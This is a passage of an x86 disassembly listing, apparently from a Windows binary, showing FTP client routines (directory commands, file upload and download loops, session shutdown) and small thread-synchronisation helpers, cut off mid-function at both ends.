		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42D230
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E360:				; CODE XREF: ___:004021FDj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E389
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E389:				; CODE XREF: ___:0042E380j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D230
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E3E0:				; CODE XREF: ___:0040166Dj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_445674
		call	sub_42D230
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E401
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E401:				; CODE XREF: ___:0042E3FCj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E417
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E417:				; CODE XREF: ___:0042E412j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42E435


loc_42E423:				; CODE XREF: ___:0042E433j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42E435
		cmp	cl, 22h
		jz	short loc_42E435
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42E423


loc_42E435:				; CODE XREF: ___:0042E421j
					; ___:0042E427j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E460:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42E490
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E490	proc near		; CODE XREF: ___:0042E473p
					; ___:0042E6F3p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42E51A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4456B4
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42E4CA
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42E4CA:				; CODE XREF: sub_42E490+33j
		cmp	edi, 49h
		jnz	short loc_42E4D4
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42E4D4:				; CODE XREF: sub_42E490+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42E534
		push	100h
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		push	eax
		nop
		call	near ptr 77C371FAh
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E51A:				; CODE XREF: sub_42E490+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42E52B
		mov	ebx, dword_50FA84
		jmp	short loc_42E534
; ---------------------------------------------------------------------------


loc_42E52B:				; CODE XREF: sub_42E490+91j
		mov	edx, dword_50FA84
		lea	ebx, [edx+20h]


loc_42E534:				; CODE XREF: sub_42E490+57j
					; sub_42E490+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F55
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42E557
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E557:				; CODE XREF: sub_42E490+BFj
		push	2000h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42E5CD
		mov	ebp, dword_50FAA4
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42E623


loc_42E58A:				; CODE XREF: sub_42E490+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_4021F3
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42E5B3
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42E58A
		jmp	short loc_42E623
; ---------------------------------------------------------------------------


loc_42E5B3:				; CODE XREF: sub_42E490+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42E623
; ---------------------------------------------------------------------------


loc_42E5CD:				; CODE XREF: sub_42E490+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42E623
		mov	esi, dword_50FA94


loc_42E5EA:				; CODE XREF: sub_42E490+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42E611
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42E5EA
		jmp	short loc_42E623
; ---------------------------------------------------------------------------


loc_42E611:				; CODE XREF: sub_42E490+166j
		push	offset aLocalfileWrite ; "localfile write"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42E623:				; CODE XREF: sub_42E490+F4j
					; sub_42E490+121j ...
		push	edi
		nop
		call	near ptr 77C2C21Bh
		push	ebx
		call	near ptr 77C3EEF6h
		nop
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42E646
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4


loc_42E646:				; CODE XREF: sub_42E490+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BDB
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42E490	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E6E0:				; CODE XREF: ___:0040169Fj
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42E490
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E710:				; CODE XREF: ___:00401D2Fj
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42E747
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E747:				; CODE XREF: ___:0042E73Aj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_50FA60
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_4454BC
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42D230
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E788
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E788:				; CODE XREF: ___:0042E77Bj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_4456C0
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42D230
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E7E4
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_4456B8
		push	esi
		nop
		call	near ptr 77C41B72h
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42E7E4
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E7E4:				; CODE XREF: ___:0042E7A7j
					; ___:0042E7C8j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E840:				; CODE XREF: ___:004013BBj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42E870
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E870:				; CODE XREF: ___:0042E865j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4456CC
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42D230
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E8AB
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E8AB:				; CODE XREF: ___:0042E89Bj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E910	proc near		; CODE XREF: sub_4016A9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42E490
		add	esp, 14h
		retn
sub_42E910	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E940:				; CODE XREF: ___:004016C7j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42E490
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E970:				; CODE XREF: ___:00401492j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42EA09
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42EA09
		mov	esi, dword_50FA60
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4456E4
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42D230
		add	esp, 18h
		test	eax, eax
		jz	short loc_42EA09
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_4456D8
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42D230
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42EA09:				; CODE XREF: ___:0042E991j
					; ___:0042E9ACj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EA50:				; CODE XREF: ___:00401C67j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42EA79
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42EA79:				; CODE XREF: ___:0042EA70j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_4456F0
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D230
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EAD0	proc near		; CODE XREF: sub_401D52j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42EB09
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42D230
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_436F96
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_50FAC4
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42EB09:				; CODE XREF: sub_42EAD0+Aj
		pop	esi
		retn
sub_42EAD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB20:				; CODE XREF: ___:0040219Ej
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42EB30
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EB30:				; CODE XREF: ___:0042EB27j
		push	1Ch
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		test	eax, eax
		jnz	short loc_42EB46
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EB46:				; CODE XREF: ___:0042EB3Dj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EBA0:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EBB9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBB9:				; CODE XREF: ___:0042EBB0j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EBF0:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42EC15
		test	eax, eax
		jz	short loc_42EC15
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42EC15:				; CODE XREF: ___:0042EC04j
					; ___:0042EC08j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC40:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC59
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC59:				; CODE XREF: ___:0042EC50j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42EC6D
		cmp	eax, 1
		jz	short loc_42EC6D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC6D:				; CODE XREF: ___:0042EC5Fj
					; ___:0042EC64j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC90:				; CODE XREF: ___:0040150Fj
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECB0:				; CODE XREF: ___:00401825j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECD0:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42ECE9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42ECE9:				; CODE XREF: ___:0042ECE0j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ED10:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42ED29
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42ED29:				; CODE XREF: ___:0042ED20j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ED50:				; CODE XREF: ___:004019A1j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ED80:				; CODE XREF: ___:0040199Cj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_42EDA2
		dec	eax
		jz	short loc_42ED92
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42ED92:				; CODE XREF: ___:0042ED8Aj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_42EDA2:				; CODE XREF: ___:0042ED87j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EDC0:				; CODE XREF: ___:00401C08j
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_42EE5B
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_42EE5B
		push	18h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_42EE52
		mov	eax, [esp+14h]
		test	eax, eax
		jz	short loc_42EE00
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42EE00
		mov	eax, [eax]
		jmp	short loc_42EE02
; ---------------------------------------------------------------------------


loc_42EE00:				; CODE XREF: ___:0042EDF4j
					; ___:0042EDFAj
		xor	eax, eax


loc_42EE02:				; CODE XREF: ___:0042EDFEj
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EE48
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EE3F
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE3F:				; CODE XREF: ___:0042EE37j
		push	edi
		call	sub_401686
		add	esp, 4


loc_42EE48:				; CODE XREF: ___:0042EE22j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_42EE52:				; CODE XREF: ___:0042EDECj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE5B:				; CODE XREF: ___:0042EDC9j
					; ___:0042EDD5j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EEA0:				; CODE XREF: ___:004021E9j
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_42EF08
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_42EF08
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EEFE
		lea	eax, [esi+14h]
		push	eax
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EEEF
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EEEF:				; CODE XREF: ___:0042EEDCj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C76
		add	esp, 0Ch


loc_42EEFE:				; CODE XREF: ___:0042EECAj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EF08:				; CODE XREF: ___:0042EEAAj
					; ___:0042EEB1j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EF40:				; CODE XREF: ___:00401799j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_42EFF4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42EFF4
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		call	near ptr 27B0000h
		nop
		test	eax, eax
		jnz	short loc_42EF87
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_42EFD4
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_40204A
		add	esp, 8
		mov	esi, eax
		jmp	short loc_42EFD0
; ---------------------------------------------------------------------------


loc_42EF87:				; CODE XREF: ___:0042EF68j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_42EFAB
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_42EFAD


loc_42EFAB:				; CODE XREF: ___:0042EF97j
		xor	ebx, ebx


loc_42EFAD:				; CODE XREF: ___:0042EFA9j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_42EFD0
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42EFD0:				; CODE XREF: ___:0042EF85j
					; ___:0042EFBFj
		test	esi, esi
		jnz	short loc_42EFEE


loc_42EFD4:				; CODE XREF: ___:0042EF72j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_50E3AC	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_42EFEE:				; CODE XREF: ___:0042EFD2j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFF4:				; CODE XREF: ___:0042EF47j
					; ___:0042EF51j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F030:				; CODE XREF: ___:00401F50j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F053
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42F053:				; CODE XREF: ___:0042F042j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F080:				; CODE XREF: ___:00401A73j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_42F0A1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_42F0A1
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F0A1:				; CODE XREF: ___:0042F089j
					; ___:0042F08Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F0C0:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F0DD
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F0DD
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F0DD
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F0DD:				; CODE XREF: ___:0042F0C6j
					; ___:0042F0CCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F100:				; CODE XREF: ___:0040162Cj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F12A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F12A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F11E
		test	eax, eax
		jnz	short loc_42F12A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F11E:				; CODE XREF: ___:0042F115j
		mov	eax, 28h
